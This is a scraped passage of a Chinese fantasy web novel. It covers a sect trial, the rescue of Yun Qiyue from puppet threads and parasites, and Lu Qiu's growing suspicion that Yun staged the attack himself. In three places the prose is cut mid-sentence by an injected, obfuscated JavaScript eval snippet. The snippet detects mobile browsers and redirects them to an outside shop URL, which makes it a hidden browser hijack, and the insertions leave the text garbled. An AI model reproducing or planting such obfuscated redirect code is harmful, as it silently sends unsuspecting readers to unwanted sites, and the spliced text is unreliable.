陆秋求之不得,立刻回到林中盘腿进入冥想状态。 小石像本就是小鸟的寄生物,虽说是在试炼场内的空间,但有了这一层关系无论是怎样的限制都拦不住她。她像之前那样从石像中缓缓飘出来,落到地面上,还没站稳就扭头急匆匆寻找陆秋说的神像。 她看见神像的瞬间就发出了尖叫,一刻也没有犹豫的冲上前去用灵力化水冲刷神像上的青苔,里面的爬虫被直接冲成了酱,再顺着水流下来,陆秋隔的这么远都害怕那水花太大把脏东西冲到自己身上来,只好看着小鸟自顾自清洗神像,直到石头都被打磨的反光才让她勉强没有那么激动。 陆秋有事问她,所以还不能把小鸟独自扔到这里,所以就耐心等待她忙完。 “我有事相求。”陆秋的态度比刚开始尊敬很多:“你可以告诉我一些事情吗?” “你要知道什么?”小鸟围着神像转圈,不断擦拭上面清洗不掉的污垢。 “这个试炼场还有其他人吗?” 小鸟奇怪的看了他一眼,语气有些复杂:“你不是组队进来的吗?” “除了组队的人。” “那条蛟也来了。” “除了他们。”陆秋耐心纠正。 “有……吧?”她又做出倾听的模样,最终下定结论:“有。” “也是试炼的弟子吗?”陆秋开始怀疑这个试炼场所谓的区域划分并没有起作用,滨水宗直接将他们打乱地点传送到了秘境的不同位置,就像大型秘境开放时的那样,不限位置与人数。 “不不不,那家伙实力很强的,感觉起码是个元婴后期,和秋络都能打得有来有回。” 小鸟这句话让陆秋的心提到了嗓子眼,秋络的真正实力他虽然不知,但仅是平时无意流露出的威压都会使人胆颤,若是这样来看,秘境里的那人不是什么好惹的主,必须避开。 他感到头晕目眩,强撑着精神问道:“那人现在在哪里?” “在动呢。”小鸟的视线不停转移,但周遭除了雨声便是一片死寂,更平添了几分的压抑与窒息感。 “我感受不到有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳容柯挑起一边的眉,静静看着她能有什么发现。陆秋这时的溯洄时间也结束了,于是也半蹲在一旁仔细观察小鸟的动作。 小鸟按了一圈,最终确定了个位置,用力一劈,发出的清脆咔嚓声听得陆秋和云栖月都不自觉的缩了缩脖子。 “你没把他脖子劈断吧?”陆秋害怕的紧盯着云栖月的脖颈,发现小鸟手中多了根银丝,就如头发丝般粗细,随着她慢慢拉动,丝线从云栖月的喉结偏下一点的位置带着金色血液被扯出。见小鸟都扯出半个她这么长了,丝线还没有完全出来,陆秋有眼力见的帮忙拿着线头让小鸟拽。 等最后一点线被扯出来时,云栖月突然剧烈咳嗽了起来,胸腔剧烈起伏,血液顺着嘴角涌出快速划过脸颊。 陆秋直接用衣袖贴到他的嘴角,把那些还在涌出的血液用衣袖吸去了,又捧起云栖月的脸,把最后一丝不属于他的妖力赶到体外。 云栖月突然坐起来吐出一大口血块,里面还有正在蠕动的小虫,不过也只是在瞬间就被小鸟一把火烧得一干二净。 陆秋眼尖,认出那虫子是之前在莲花仙人神像中的寄生虫,小鸟应该是发现了什么才会主动提出要跟来。 他也在提防着小鸟,便把依旧神志不清的云栖月揽到怀中让他枕着自己的腿,主动问小鸟:“这是怎么回事?” “这也是傀线,而且有了蛊虫,估计是要杀了做傀儡的。”小鸟此时表情有些忧郁:“真不知道是倒了大霉还是走了大运,本来你俩都活不成,结果又因为我,给你们盘出来条生路。” “多谢。”陆秋明显感觉到云栖月的体温在上升,无论是灵力还是妖力运转都变得顺畅起来,知道小鸟确实帮了大忙。他还想问什么,云栖月的手就抓上他胸前的衣物,轻声道:“外面……没有毒能满足任务了。” 37. 考核(6) “什么?”陆秋以为他在说胡话,又凑得近了些。 “他说外面已经没毒了。”一直沉默的柳容柯开口了:“明天你们也找不到任何的毒了。” “你怎么知道的?”陆秋对这话有怀疑,但他也不敢不信。 “你都不记位置吗?”柳容柯翻了个大大的白眼:“能找到的毒都是五公里内的,其他全是重复的,这都第二天了还不做总结呢?” 陆秋突然觉得自己成这里唯一的傻子了,为什么相同的时间地点偏偏只有他被蒙在鼓里,他不知所措的握着云栖月要滑下去的手,又自言自语起来:“还有三种毒……” 他像是突然想到什么,把自己沾血的袖子紧紧按在木牌上,让里面的血液被挤出,然后静观木牌的变化。 过了很久,久到他都以为自己的想法错了的时候,木牌突然一道金光闪过,上面的数字也变为了“二”。 他不可置信的拿起木牌,在一旁点起的火焰前仔细阅读上面的条件,发现云栖月的概括并不准确。上面只说收集秘境中的毒液,但从他们来到的瞬间,他们也变为了秘境的一部分,而许多的毒都需要血液做衬,所以一开始他们就被包括在了条件之中。 他将手腕割出一道长口,把木牌放在底下接着血液,他不敢让木牌接触到自己,因为云栖月还不知是怎么被暗算的,自己也得小心一点。 等伤口结痂,就只有一种毒需要收集,他看向柳容柯,柳容柯看向小鸟,而小鸟立刻钻回小石像表明态度。 “你来。”陆秋把牌子给柳容柯,柳容柯厌恶的咧嘴:“我是灵体,怎么可能会有血液。” “你是有毒的。”陆秋指指自己的牙:“毒牙,没有嘛?” “你让我咬这牌子?”柳容柯被气笑了。 “你给不给?”陆秋也不甘示弱:“不给的话我就把你的牙拔下来磨成粉再兑成毒液。” 两人大眼瞪小眼,良久柳容柯才做出让步,接过牌子转身去自己捣鼓。陆秋给云栖月理了下额发,至少让他看起来并不那么狼狈。他边理着如今的处境边发呆,突然意识到明明只有他们二人在秘境里,怎么全都找完了还要三种毒,若是柳容柯和小鸟没有被召来,这一种毒怕不是永远找不到了。 想到这里,他从云栖月的储物戒中翻出他的家族通讯令牌,按理来说他作为外人是不能动用云家令牌的,但云栖月的印记就像是通行令,让他顺利联系上了现任云家家主。 在即将打通联系之时,他还有些忐忑的看向小鸟,小鸟当然知道他在担心什么,有些不耐烦的骂道:“再等的话,那蛟把任务做完了你们就直接出去了,到时候一个接应都没有,你们就等着被打死吧。” 陆秋不再迟疑,果断联系对方。只能说多亏了云栖月的家族地位,联系直接被接通了,一个略带威严的雄厚男声传了过来:“何事?” “我是云栖月的友人,我们现在在滨水宗的试炼场内,他遭到了暗算,现在……”他看了眼明显好转的云栖月,依旧咬牙撒谎:“他状态很不好。” 那边一阵寂静,陆秋还以为挂断了连接,正想说话时突然听到一个女声慌忙问道:“谁暗算的月华?” “不知道,但是我们觉得应该是滨水宗的内鬼。”陆秋如实回答,虽然不知道月华是谁,但能接通应该就是指的云栖月。他还听见了背景里法阵响起的声音,知道应该是派人来接云栖月了。 “我们马上过去,你们在原地不要动!”那女声匆忙嘱咐他,转头又催着快些,不要耽误了时间。 陆秋悬着的心并没放下,把云家令牌塞到云栖月胸前衣袋时他又打通了陆夕月的联系,听到那边懒洋洋的声音,不知为何安心许多。 “爹,你能来滨水宗吗?” “怎么了,闯祸了?” “我要死了,这里有人要害我。” 陆秋说完话,陆夕月也没了动静,在他内心数到五的时候,就听见那边突然传来嘈杂声,紧接着就是陆夕月的声音:“试炼场是吗?” “对……”柳容柯示意任务已经完成,木牌的亮光逐渐扩大,即将要包裹住他们,陆秋在自己和云栖月身边建起保护罩,等待回到试炼台:“我马上出去了。” 柳容柯在瞬间就回到了本体,小鸟则是钻到了他的芥子空间,所以还是只有他们面对各位长老和新掌门。 当他半抱着云栖月被传送回到试炼台时周围一圈都是人,他正想着完了的时候,却发现一位和云栖月有五分像的女性羽人站在高台上焦急的望着他们,他瞬间觉得肩上的担子轻了许多。 女人急忙飞下高台,半跪在陆秋面前把云栖月抱过来捧着云栖月的脸仔仔细细查看一遍,然后松了口气紧紧拥住他,这才看向陆秋:“是你联系的我们吗?” “是我。”陆秋点头,他只觉得既然云栖月没事,自己也可以休整一下了,但正当他这么想的时候,女人却说:“还请你做个证人,不能让月华白白受这种罪。” 陆秋依旧点点头,他和云栖月都是从雨林爬出来的,衣服脏得不像样,现在自己都嫌弃的要命,只想回去先沐浴再说。 他有些不爽的刚垂下头去,肩膀就被拍了一下。他抬头看向身边来到的人,只见陆夕月比他表情更不爽的对女人说道:“我们家孩子无权无势,遭到暗算你们也清楚是怎么回事,这是你们有求于我们,把态度放端正点。” 女人脸色也难看,但还是咬咬牙做出恳求状:“麻烦您了,我们会给您相应的补偿的。” 陆夕月看起来更不爽了,单手把陆秋拎起来:“我家孩子不能就这么等着,你愿意等就等,他需要休息,有什么事等他休息够了再说吧。” 说罢,陆秋就被他拎着直接一个传送带回了药馆,还是药馆大门口。老头依旧在院内躺在那美人榻上晒太阳,还没睁眼就闻到陆秋身上和在泥地里滚了一圈的味道,嫌弃的直接跳起来瞪眼看着面前一大一小,“你”了半天都说不出一句话。 “秋娃娃先去沐浴更衣!”老头让陆秋先走,自己要和陆夕月好好理论理论。 陆秋此时又觉得有了力气,跑得毫无形象,去拿了换洗衣物后一头扎到后院温泉中泡着了,完全不在意老头这边剑拔弩张的紧张氛围。 陆夕月就这么往门口一站,哪怕不动不说话就让老头来气,他这时咧嘴一笑露出八颗整齐洁白的牙齿,恭恭敬敬的向老头行了个礼:“老丈,好久不见!” 老头被气得差点一口气没上来,他原地踱步冷笑:“把秋娃娃往这里一扔就不管了?若不是秋小鬼给我传信,这娃娃现在都不知道死多少遍了!” “这不是想磨炼他嘛。”陆夕月貌似真的有些愧疚了:“我也未考虑过这里真的烂到不行了,和我当初来的时候完全是两模两样的。” “哼!”老头倒了杯茶两口喝下继续数落他:“你到底想让他成为什么样的人?今天的试炼我看了,他遇到问题就想找人,自己面对问题毫无头绪,要不是云家小子,估计都得困死在里面!” “我和秋络都想让他没有烦恼,只是这样就够了。”陆夕月低声回答。 “人不可能没烦恼的,”老头摇头:“要么游离在世界法则之外,像莲花仙人那样;要么装疯卖傻,糊涂的过一辈子!”他仰天长叹:“没有强大的实力,又放不下那点自尊,遇到搞不定的事情总是逃避,你们是怎么教育的孩子!” 陆夕月抿唇不语,其实他也说不出个所以然来。 “他要走的路还很长,你们不要再处处为他开路了。”老头真心在劝他:“他会不知道自己遇到的事情几乎都是你们安排的吗?他精得很,你们再不放手,他就废了。” 二人相对沉默了一阵,陆夕月缓缓才开口:“等把云家的事解决……我再回去。” “随便你。”老头摇头不再管他。 陆秋洗的是很开心,换上干净的衣服后更是觉得心情美好,想报复世界的想法也轻了不少。 他哼着小曲从里面出来,当看到脏衣服时突然想起来羽人的血液貌似还可以炼丹,又掏出小瓶来挤血,直到上面一滴血都挤不出来时才动手烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395955|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这衣服。反正这是滨水宗的门派服,这事一出来他绝对不能留在滨水宗了,这衣服也是没用东西,留着的话上面有血液,被一些有心之人拿去也不好,还是烧了省事。 只能说云栖月吐血吐的是真厉害,这都能给他巴掌大的瓶子灌满。他塞上瓶塞,打算让陆夕月回去的时候把这一瓶羽人血也给带回去,送给秋络。 陆秋又突然想到云栖月母亲的模样,只能说那个态度让他感到十分不舒服。不过再仔细想想,自己也只是和云栖月结识,按他们家的那种风气,看不起自己可是再正常不过,再加上这种长期以来都高高在上的生活,没有当场命令他貌似真的十分客气了。 有点烦。陆秋摇摇头,想把这烦闷的情绪甩出去,到现在为止,他还是觉得是掌门想控制云栖月才会连累到他的。 走到主院院中,老头和陆夕月都不知道哪里去了,美人榻上却躺了另一个人。那人手中还拿着把蒲扇,半晌才晃一下,吹得额发稍稍晃动。他扭头看向站在那里的陆秋,招手让他过来。陆秋走过去,让西窗月搭上自己的手腕,静静等着他的结论。 西窗月握了一会,把一旁的小椅给了陆秋让他坐下,和他慢慢谈。陆秋坐下,让他轻轻覆上自己的手,觉得此刻风都是清爽的,把他的负面情绪一吹而散。 “这次试炼如何?”西窗月没用莲花仙人的声音,而是用了这具身体本该有的声音。 “挺糟的。”陆秋心虚的动了动手指想要握拳,却无意蹭到西窗月的掌心,瞬间又不敢动了。 “确实糟心。”西窗月拇指依次划过他的指腹:“这只是两日便如此狼狈,以后若是有了几个月的秘境试炼,你又该如何应对?” 陆秋不说话了,实际上他也说不出来什么话,毕竟自己真的是在为完成任务而完成任务,没有仔细思考过。 “首先,你不要觉得这次失败是因为有人针对,等你自己出去闯荡,处处都会有针对你的人,你必须提前适应,做好万全的准备。” “其次,你在里面确实大意了,不能因为以往的规则就觉得不会有什么真正的危险,况且你也不知道那东西的真正意图。”他说这话时轻抚了一下陆秋的眉中,陆秋知道这是在说他被冰刺到的事情,便点点头表示知道了。 “那是什么东西?”陆秋最终也没有结论,只觉得心痒痒。 “不要什么东西都刨根问底。” 听到他这句话,陆秋只好点头继续听着西窗月的说教。 “最后,”西窗月罕见的皱了一下眉头:“那条蛟应该也让你尝到了苦头。” “确实。”陆秋想到这里心里还是气的,柳容柯确实帮了他大忙,但对于关键的事情却一点不说,等他自己去找。 “人家帮你是人情,不帮是本分,你觉得你们有多熟,能够让他始终为了你而付出一切呢?”西窗月单手撑着下巴,语气带上几分笑意:“你说过不会用契约强制别人,但人家不帮你,你又来气,怎么这么矛盾呢?” “下次不会了……”陆秋原先那点气也消了,现在只剩下无地自容,想着陆夕月或者老头能出来给他缓解一下被拆穿的尴尬。 “你会傀术对吧?秋络应该教你了。”西窗月意有所指。 “但是目前只能用到活人身上。”陆秋点点头:“我不会操控死物。” “那就找一个没什么存在感的弟子,把他当傀儡。” “可……”他又犹豫了:“那也是有意识的生命,我不愿意……” 西窗月静静看着他,两人对视良久,他才露出一个温柔的笑来:“今夜带你去找一位长老,提前做好准备。” 陆秋还没答应,眼前人就化作一堆花瓣洋洋洒洒飘落在地,寂静已久的风又吹了起来,吹过他耳畔,呢喃着:“不要忘记。” 他呆呆的坐在原地,觉得被握过的掌心依旧温热,仔细看便发现一朵金莲像是掌纹那样,在掌心闪了两下便没入掌中。这时已是傍晚,云家再闹也不能半夜三更把他叫去作证,他便放心的回去找陆夕月聊聊秘境的事情。 38. 真相(1) 陆夕月平日就喜欢往后厨钻,老头也喜欢搬张躺椅在那里坐着熬汤煮药,这会还有糕点的香甜味,他便想也不想就往后厨跑去。 待他到了后厨,就看见陆夕月坐在灶台前往里扔木头,老头躺在躺椅上等水烧开。 陆夕月满手都是灰,往上抖了两下胳膊把垂下来的衣袖抖回臂弯,招呼陆秋过去坐。陆秋坐在他旁边的小板凳上,开口就问:“这是做的什么?” “槐花糕。”陆夕月用脚把柴火往他哪里驱了驱,让他别闲着,也往里添柴。 陆秋看着里面柴火烧的可以,便只是拿了根木头,没有往里续,又从储物戒掏出那瓶羽人血,说道:“给娘的,你回去顺便带着。” “什么东西?”陆夕月皱眉看着那个小瓷瓶,只能听声音听出是液体。 “羽人血。”陆秋回答:“我不知道能干什么用,看着挺好看,就给娘玩吧。” 他这番话立刻吸引了老头的注意,他直接从躺椅下来,大步流星来到陆秋身边,有些惊奇的问:“你从哪得的?” “云栖月的。”陆秋没敢给老头说是他又从衣服上挤的。 “嘶——”老头带着些许赞赏看了他一眼:“好小子,出去一趟还能记得给你娘带些东西,有前途。” “那也要看是什么东西,不能好的孬的都拿。”陆夕月打开储物戒让陆秋把那个小瓶放进去。 “我还有羽毛。”陆秋有些不好意思的掏出那几根被他压掉的羽毛,觉得面上发热。 “啊?”陆夕月傻眼了:“你……这你都拿?” “他不小心掉的,然后就送给我了。”陆秋睁眼说瞎话。 老头拿过那几根羽毛连连摇头:“这要是整个翅膀掉的还好,但凡是一块地方掉这么多,估计都得秃好一阵子。” 陆秋听到后,把还没拿出来的十几根羽毛又塞了回去,想着要是去看望云栖月的时候得送点护理液。 陆夕月看他心不在焉的样子,以为是陆秋觉得那云家人的态度不好,怕来找他的事情,便出口安慰:“没事,什么时候他们拿出该有的态度咱们再去,一个大家族要是连这点礼仪都不懂,那真和他们爹那一辈没什么区别了。” “什么那一辈的?”陆秋走神了,最后只听见“爹”这个词,一时没搞懂陆夕月在说什么。 “他们不还是发现了金矿才发的家吗?”陆夕月不屑:“当二道贩子赚了大钱,之后又把原来的林氏给赶得死的死伤的伤,抢了人家家产与祖业才能在三角区立足成为大家族。” “那你们觉得是谁专门针对云栖月的?”陆秋试探性的问他们。 “难说。”陆夕月摇头:“有时候一件事想做成,可不是一个人能做到的。” “我们觉得是掌门。”陆秋说出自己的猜测:“掌门想让滨水宗得到云家的支持,就要给他们好处,但如果能控制云栖月,云家与滨水宗就都是他的囊中之物了。” “这么说也没错。”老头点头:“但你不觉得他这样做太张扬了吗?若是你,你会怎么做?” “我会不那么明显。”陆秋挠头:“至少不露面,有什么事都让别人做。” “那顺藤摸瓜也能找到你。”陆夕月也同样在挠头,不过他们一个是想不出办法,一个是因为对方想不出办法而头疼。他干脆教陆秋:“你觉得是掌门,也许是其他和云家有仇的人。掌门一开始没准根本想不到控制云公子,但是有人在背后推动这一切,导致掌门欲望的增长,让他做出这种事。” “你也可以往前推,没准刺激掌门的这个人也是被推出来当靶子的呢?”老头也挑眉指点他。 陆秋感到思绪已经转不动了,如果只是单纯和他这样说,他一下便能明白,但现在他真正遇到了问题,反而无法明白了,他又问:“可是谁又能让掌门做这种事?” “你先别着急想知道是谁,你先把思路捋清楚。”陆夕月纠正:“不要总先代入人物,你先去找原因。” “我觉得吧……”老头用手撑在太阳穴附近:“他这个样子,是你们家心法的原因。” 陆夕月不说话了,看了两眼陆秋,陆秋也看他,两人各想各的事。 “你们家的心法应该等他们有了解决问题的能力再学,过早学了只会让你们更依赖读心,觉得往人家面前一站,什么事情都能知道了,就懒得动脑子去想了。” “确实是,但是吧……”陆夕月叹气:“我们一开始都没想那么多的,只觉得会一点是一点,技多不压身。” 陆秋被说的是一声不敢吭,只能听着。 老头又补充道:“我可算明白了怎么一有点事他就想找人,原来你们心法本来就是要人才能运行的。” “我倒是想到一个……”陆秋突然想到了黄琳,是他给了云栖月傀线,让他去控制掌门,那么会不会是他让掌门再控制云栖月的呢? “你说。”陆夕月作洗耳恭听状。 陆秋把黄琳又带到猜想之中,但又遭到了老头的质疑:“你怎么能肯定是他呢?万一他也是被人利用来挡枪的呢?” 陆秋反过来一想,若不是黄琳做的,那么黄琳就将会成为替罪羊,推测又行不通了,他烦躁的跺了两下脚,有些急了:“这样弯弯绕绕的,幕后黑手永远都能藏着不被找到。” “你看,一让你自己想事情你就急。”老头指他:“慢慢推,这还是别人家的事呢你都不耐烦,要是你的事你不得烦的自爆?” “我宁愿自爆。”陆秋破罐子破摔。 “唉……”陆夕月无奈的拍陆秋的头:“你的命在自己手中,无论你是想生还是想死,我们都不会干预,你只要对得起自己,不留遗憾就好了。” 陆秋垂着头沮丧极了,因为他意识到了自己的缺陷,又着急自己不能迅速补上缺陷。明明以前总是顺风顺水的,如今突然转变让他根本无法承受。 “慢慢来,不急。”陆夕月捞过陆秋的肩,捏着他的脸:“你才多大?毛都没长齐呢就想着能一步登天?你还有爹娘给你撑腰呢,怕什么。” 陆秋被他捏的痒了,把陆夕月的手扒下去,深吸一口气:“我哪里想着一步登天了!” “行,不说这个了,”陆夕月放开他:“你已经可以离开滨水宗了,接下来想去哪里?” “还有哪里能去吗?”陆秋反问他。 “腿长在你身上,你想去哪就去哪。”陆夕月抱胸建议:“你要不要去你娘那个门派?” “落霞宗?”陆秋之前听杜漓他们提过。 “对,就在隔壁,”老头也点头:“而且想回来就回来,就几步路的距离。” 陆秋想起今晚还要和莲花仙人一同出去,便说:“今晚我收拾一下,这几天把云栖月的事情处理了再走?” “你想什么时候走都行。”陆夕月点头:“随你。” 陆秋一听这话就放下心来,他又和二人聊了会便以自己需要回去收拾为理由离开了药馆,站在五号楼的大厅等着莲花仙人。 其实来到五号楼还有别的事情,比如来看看柳容柯现在到底在哪里。当他到达大厅时却发现值班人已经更换成了一位羽人,和云栖月一样的妖族特征,他不知道怎么心底就涌上了一股荒唐感。 “你是什么时候来的?”陆秋和他打招呼。 “我是今天上任的。”那位值班人看起来温温和和的很好说话,比云栖月少了些锐利。 “哦哦,辛苦了。”陆秋也笑着回答他,之后便朝着自己的楼层走去。五楼并不高,但他到了拐角才感觉到那股视线消失了。 难不成是那女人派来的?他想起来陆夕月当时的态度,为自己捏了把汗。 杜漓和褚浣早就在寝室了,一见他回来,杜漓连蹦带跳的跑到他面前:“你没事吧!” “呃……”陆秋左右扫视了一圈寝室:“可能……暂时……没事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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还是和上次一样,当他看见莲花仙人用女性模样坐在他的窗沿上时,便缓缓坐起来,回头看向还躺在床上的“自己”,知道这是又以魂体出行,脚尖一点就随莲花仙人飞了出去。 在上空看滨水宗貌似真的改变了许多,首先就是大片减少的树木,原本二号楼是由树木环抱,如今只有孤零零的一栋楼;其次是布局,好多东西的位置被移动了,一眼看上去就是法阵的摆布形式,不过他都要离开滨水宗了,这些都与他无关,他也不再观察。 莲花仙人先落到一号楼附近的树林中,知道他跟上来后带他走进这片密密麻麻的紫藤树林。这里的紫藤树已经不是高大可以形容的了,盛开的紫藤如浮云般遮住了天空,在黑夜中散发微微荧光,像是在指引二人般飘动着,朝向更深处。 最终拨开紫藤花帘,陆秋望见这中央有一位雌雄莫辨的白金发鹿人端坐其间,鹿角上挂满了垂下的紫藤花条,而垂下的衣袖在他们二人到达的瞬间就无限延长直至包裹住整个紫藤林。 鹿人深蓝色衣袖上绣满了繁星,和莲花仙人的幻境不一样,他的幻境不仅星辰,还有各式植株花卉,浓郁的灵力让人不禁有了种酒足饭饱后昏昏欲睡的感觉。 莲花仙人手中团扇轻轻在陆秋面前挥了一下,陆秋立刻打了个激灵,意识到自己又无意间走神了,不由得尴尬的四处张望,看着比自己高了半个头的莲花仙人第一次觉得这仙人可真太仙人了。 “你又有何事?”鹿人温和的问她。 “无事便不能来吗?”莲花仙人不和他客套,随手拉过幻境中的椅子坐下,翘着腿笑眯眯的望着鹿人。 鹿人的眸子缓缓移到陆秋身上,说来也奇怪,被他看着不会感到被冒犯,反而会觉得像是清风拂过那样畅快与自在。可能是那双眼太纯粹,里面倒映出了世间万物,但里面确实又一无所有,才会有这种矛盾感。 39. 真相(2) 鹿人身边不断有紫藤花瓣飘落,落到地面又变为颗颗繁星,回到他的衣袖上。 陆秋就这么等待着,但那二人也不说话,就这样面对面坐着,空气中弥漫着的香气似乎越来越浓,熏得他都感到难受时,莲花仙人终于开了口:“你给行个方便,他若是回滨水宗办事,就从你这里回来。” “我哪知别人回来的意图是什么。”鹿人把玩着腰带上的一个淡粉色香囊,心不在焉道:“陆夕月已经是一个例外了。” 陆秋听到这话,猜测他爹应该是在二号楼设置的传送阵。 莲花仙人没再勉强,倒是和谈家常般那样惬意:“这么晚还不回二号楼看着,不怕出事?” “二号楼已经没有人了。”鹿人回答。 “好吧。”莲花仙人叹气:“本想着我们还能再谈谈,若是这样,我们就去一号楼了。” 对方没有回答,只是平静的看着莲花仙人。莲花仙人打了个哈欠,一把揽过陆秋说:“走吧,我带你去别的值班人那里。” 陆秋不明所以,但对方只是揽着他转了个身,背对着鹿人,久久没有动作。他感到疑惑,用眼神询问莲花仙人,莲花仙人冲他使了个眼色,他就立刻明白自己不该动不该问了,由着莲花仙人表演。 背后没有动静,莲花仙人微微侧过头,用一种不爽的语气阴阳怪气问:“既然不留人,为何还不让我们走呢?” 她故意把“不留人”咬的很重,像是在质问鹿人一样。 听到背后传来了布料摩擦的声音,以及“哒哒”的走动声,陆秋没忍住回头看了一眼,发现鹿人的人类身形十分高大,他的身高貌似也只能到鹿人的腹部。 但很快,莲花仙人的手就覆上了他的双眼,一阵眩晕袭来,他听见耳边人的一句呢喃:“在外面等一会。” 再回过神时他已经在紫藤花林外了,但想到莲花仙人还未出幻境,便在原地坐下等着。夏末已经没了多少虫子的聒噪声,如果不是灵体状态的话,也许他会在这里小憩,但他现在精神很好,好到能慢慢思考这些事情的来龙去脉。 过了不知多久,陆秋听见脚步声由远及近,他一个翻身站起,看着出来的莲花仙人,身后还跟着那鹿人。 “走吧。”莲花仙人看起来很满意,应该是谈通了,那鹿人也缩小了些身形,现在只比莲花仙人高了一点,压迫感一下便感受不到多少了。陆秋紧紧跟在另一边,没想到那鹿人竟开始找他说话。 “平日你娘管你严吗?” “还好,除非很大的事情,不然不会管我的。”陆秋不知道他在想什么,但觉得还是实话实说比较好。而且对方问了这种问题,一下就接地气了起来。 “你爹对她好吗?”鹿人又问。 “挺好的啊,”陆秋还想了一下,反正在他记忆里爹娘从来没有吵过架,发火也只是秋络发,陆夕月从来不会对秋络说难听的话。 鹿人看起来放心了些,但陆秋不知怎么回事,突然想起来老头说过秋络是莲花仙人送来的,而且是从落霞宗来的。他看着二号楼的方向,与落霞宗只有几里的距离,心里有了个荒唐的想法。 他娘不会是莲花仙人和这鹿人生的吧。 他眼神中又带上了一丝惊恐,仔细想想秋络和莲花仙人一样都是鹅蛋脸,倒晕眉,刚开始觉得不像,是因为眼睛不像。他又假装无意扫过鹿人的脸,发现从侧面来看几乎完全可以对得上秋络的侧脸,就连嘴角的弧度都一样。 完了,怪不得莲花仙人对我比较特殊。陆秋深呼吸,原来是这种关系,不然为什么都比较关心秋络呢。 不知是不是听见了他内心的想法,莲花仙人走在前面突然“噗嗤”笑了一声,但又装作没事发生。 等到了二号楼,陆秋简单的用灵力探查了一下,没有一丝活人的气息,才相信鹿人的那句“已经没有人了。” 鹿人带他们到了进门处的左手侧的一条缝隙前,还没等陆秋看清他的动作,那条缝隙就慢慢扩大,成了一扇门的宽度,里面黑漆漆的什么都看不清,但鹿人的衣袖自带光亮,他只用跟着那拖地的衣袖走就成,便放心的跟进去。 这里的寂静并不让人压抑,反而有种漫无目的散步的自在。走了一阵后,面前豁然开朗,他们又走进了一处林中。不过不再是紫藤林,而是枫树林,虽说是夏末,但却像秋末那样纷纷扬扬落了一地的脆叶,踩在上面止不住的发出咔嚓的响声。 “这是落霞宗了吗?”陆秋这么问道。 “快了。”莲花仙人点头。又走了大约一刻钟的时间,三人走到一处石碑前,陆秋这才能仔细看看上面刻的字。 石碑看起来很新,应该是有灵力定期清扫的。上面用红字刻写“落霞宗”三个大字,笔锋处还有一抹金色,再加上飘逸灵动的字体看起来倒和火凤凰的尾羽有那么一丢丢的相似。 “前方就是落霞宗。”鹿人轻抚了一下石碑,又点了一下陆秋的眉心:“你要记住路,才能够在这里穿行。” 陆秋被点了一下,突然间就能看见石碑下延伸出的金线,一方向前指着,另一方朝向他们来时的路。这是记住路吗?这分明是给他作弊了啊!像是知道陆秋在想什么,鹿人又说:“一个月,之后指引线会消失。” “哦。”陆秋从刚刚的惊喜中又掉到了一点点失望当中,但他又突然想到还不知道自己什么时候离开滨水宗:“那我要是还没来得及记路就直接去了落霞宗呢?” “云家那边可没有那么快。”莲花仙人嘲讽的笑了笑:“你应该想明白了?” 陆秋谨慎的点了点头。 “但说无妨。”鹿人食指一点,便有黑棕色藤蔓破土而出,缠绕着变为三把椅子。他一副要好好商讨的样子,下半身也不知何时变为了人腿,坐到椅子上对陆秋说:“这里所说的话,不会被以任何形式传递出去的。” “我认为,这些是云栖月做的。”说出这句话,陆秋心里紧张的直打鼓,他不知自己的推测是否正确,又怕误会了云栖月,心里过意不去。 “原因呢?”莲花仙人侧坐在椅子上,手指勾过鹿人披散下来的一缕发丝编成麻花辫。 “他在自导自演,表现出一副自己是受害者的模样,实则是在为自己拿下滨水宗做准备。”他感到脑子又乱了,想说的话也没了逻辑,只能一股脑倒豆子似的吐出来。 “不要着急,你按照时间慢慢说。”鹿人温和的注视着他,没有反驳而是给了他肯定。 “起初我们只知道他是云家长公子,又是扶持张掌门的人。”他开始一点点把脑袋里乱成一团的思绪解开,理顺。 开始只是觉得他只是有些实力,为了云家利益而拉拢滨水宗,但直到他向黄琳借了傀线,要去控制张掌门。 他向对方借傀线,让黄琳控制对方,会让人先入为主觉得他并不会傀术,所以后面在秘境中从他颈部扯出了傀线会让人觉得有人加害他。 “不错,”莲花仙人带着赞许看了他一眼,知道他又卡住了,便提醒道:“想想试炼的号码牌。” “对,但是号码牌是随机的,他怎么能……不对。”陆秋反应过来了。虽然号码是随机的,但无论云栖月抽中哪个,他都是发牌的,有权利和别人进行调换。就算不换,以他的身份和地位……貌似没多少人敢不和他换。 “那为什么非要和我一组?”陆秋是真的不敢相信自己的想法了。 “拿你做个证呗。”莲花仙人笑吟吟的:“你要是没和他结契,他也不选你。” “因为我们结了契,我能够更好的和他沟通,然后给他家族发消息?”陆秋只觉一阵苦涩,有种被人卖了还得帮着数钱的感觉,但他又发自内心的不相信,对方竟能做成这样。 “不然呢?”莲花仙人不让他说了,开始分析给他听:“他明明可以进去的第一天就让自己表现出这幅样子,因为试炼在外面是可以随时停止的,但他担心自己会因为太快而得不偿失,所以先让你尝到苦头,觉得这里危险,自己再演这么一出戏。” “云家什么时候来的来着?”莲花仙人扭头问鹿人。 “按时间算,是在秘境第二天的上午。”鹿人还好 